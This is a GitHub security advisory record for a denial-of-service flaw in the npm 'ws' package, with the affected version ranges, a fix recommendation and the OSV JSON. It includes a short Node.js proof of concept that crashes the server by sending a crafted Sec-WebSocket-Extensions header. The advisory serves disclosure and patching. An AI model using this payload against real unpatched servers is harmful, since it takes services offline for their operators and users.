GHSA-5V72-XG48-5RPM

Vulnerability from github – Published: 2019-06-04 19:37 – Updated: 2026-07-17 18:28
VLAI
Summary
Denial of Service in ws
Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "1.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-04T19:37:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst net = require(\u0027net\u0027);\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = \u0027constructor\u0027;  // or \u0027,;constructor\u0027\n\n  const request = [\n    \u0027GET / HTTP/1.1\u0027,\n    \u0027Connection: Upgrade\u0027,\n    \u0027Sec-WebSocket-Key: test\u0027,\n    \u0027Sec-WebSocket-Version: 8\u0027,\n    `Sec-WebSocket-Extensions: ${payload}`,\n    \u0027Upgrade: websocket\u0027,\n    \u0027\\r\\n\u0027\n  ].join(\u0027\\r\\n\u0027);\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
  "id": "GHSA-5v72-xg48-5rpm",
  "modified": "2026-07-17T18:28:06Z",
  "published": "2019-06-04T19:37:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/websockets/ws"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:ws:20171108"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in ws"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…